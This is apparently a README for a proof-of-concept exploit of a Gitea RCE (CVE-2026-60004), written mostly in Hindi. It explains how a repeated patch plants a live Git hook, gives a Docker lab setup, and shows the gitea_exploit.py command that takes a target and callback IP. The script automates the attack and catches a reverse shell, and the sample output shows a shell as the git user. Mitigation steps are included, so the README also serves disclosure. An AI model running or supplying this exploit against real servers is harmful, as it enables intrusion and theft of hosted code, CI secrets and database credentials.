
CVE-2026-60004 — Updated!
Gitea diffpatch RCE
CVE-2026-60004 Gitea diffpatch RCE
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
अवलोकन
CVE-2026-60004 Gitea में एक रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है।
diffpatchAPI प्रदान किए गए पैच कोgit apply --cachedके साथ लागू करता है, जिसे केवल इंडेक्स को छूना चाहिए और डिस्क पर कभी फ़ाइलें नहीं लिखनी चाहिए। उसी पैच को दो बार भेजकर, एक हमलावर add/add टकराव को मजबूर करता है जो Git के थ्री-वे मर्ज फ़ॉलबैक (-3) को ट्रिगर करता है। वह पथ--cachedको अनदेखा करता है और फ़ाइल को वर्किंग ट्री में चेक आउट करता है। क्योंकि अस्थायी क्लोन बेयर है, इसका वर्किंग ट्री रूट$GIT_DIRहै। एक पैच जो एक निष्पादन योग्यhooks/post-index-changeबनाता है, इसलिए एक लाइव Git हुक उतारता है, जिसे Git अगले इंडेक्स अपडेट पर स्वचालित रूप से चलाता है — Gitea सेवा खाते के रूप में कमांड निष्पादित करता है। एंडपॉइंट को रिपॉजिटरी लेखन पहुंच की आवश्यकता होती है, लेकिन पंजीकरण डिफ़ॉल्ट रूप से सक्षम है, इसलिए कोई भी उपयोगकर्ता जो साइन अप कर सकता है और रिपॉजिटरी बना सकता है, उस तक पहुंच सकता है।
प्रभावित संस्करण
| श्रेणी | संस्करण |
|---|---|
| कमजोर | Gitea 1.17 ≤ संस्करण ≤ 1.27.0 |
| पैच किया गया | Gitea 1.27.1 या बाद का |
प्रभाव
- Gitea सेवा खाते (
git) के रूप में रिमोट कोड एक्ज़ीक्यूशन - सभी होस्ट किए गए रिपॉजिटरी, CI रहस्यों और डेटाबेस क्रेडेंशियल्स तक पहुंच
वातावरण
कमजोर Gitea वातावरण बनाएं और चलाएं। पंजीकरण खुला छोड़ दिया गया है और
सर्वर Git 2.32+ के साथ आता है, जो उस -3 फ़ॉलबैक को सक्षम करता है जिस पर हमला निर्भर करता है।
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| पूर्व शर्त | इस प्रयोगशाला में स्थिति |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
सर्वर पर Git 2.32+ (-3 सक्षम करता है) | 2.54 |
| खुला पंजीकरण | सक्षम (डिफ़ॉल्ट) |
| रिपॉजिटरी लेखन पहुंच | स्व-पंजीकृत खाते के माध्यम से |
PoC
शोषण gitea_exploit.py द्वारा पूरी तरह से स्वचालित है। एक खाते को देखते हुए जो
रिपॉजिटरी बना सकता है, यह लक्ष्य रिपॉजिटरी बनाता है, उसी पैच को बार-बार तब तक सबमिट करता है जब तक Git का -3 फ़ॉलबैक सक्रिय नहीं हो जाता, और एक अंतर्निहित लिसनर के साथ रिवर्स शेल को पकड़ता है — कोई मैन्युअल सेटअप, पैच निर्माण, या ब्लॉब-हैश गणित की आवश्यकता नहीं है।
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
-3 फ़ॉलबैक केवल कुछ टाइमिंग विंडो में सक्रिय होता है, इसलिए स्क्रिप्ट
create → send → send तब तक लूप करती है जब तक वह पकड़ नहीं लेती (डिफ़ॉल्ट 25 प्रयास)। जब एक send ब्लॉक होता है,
हुक सक्रिय हो चुका होता है और लिसनर आपको git के रूप में एक शेल में डाल देता है:
[*] attempt 3/25 -> send#1 201, send#2 timeout <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)
विकल्प:
--no-listen— अंतर्निहित लिसनर के बजाय अपने स्वयं के बाहरीncके साथ शेल पकड़ें--user/--pw/--repo/--branch— डिफ़ॉल्ट खाते और लक्ष्य रिपॉजिटरी को ओवरराइड करें
शमन
- Gitea को 1.27.1 या बाद के संस्करण में अपग्रेड करें
- यदि आवश्यक न हो तो खुला पंजीकरण अक्षम करें (
DISABLE_REGISTRATION=true) - प्रतिबंधित करें कि इंस्टेंस तक कौन पहुंच सकता है और रिपॉजिटरी बना सकता है
विश्लेषण
- KR: जल्द ही आ रहा है!
- EN: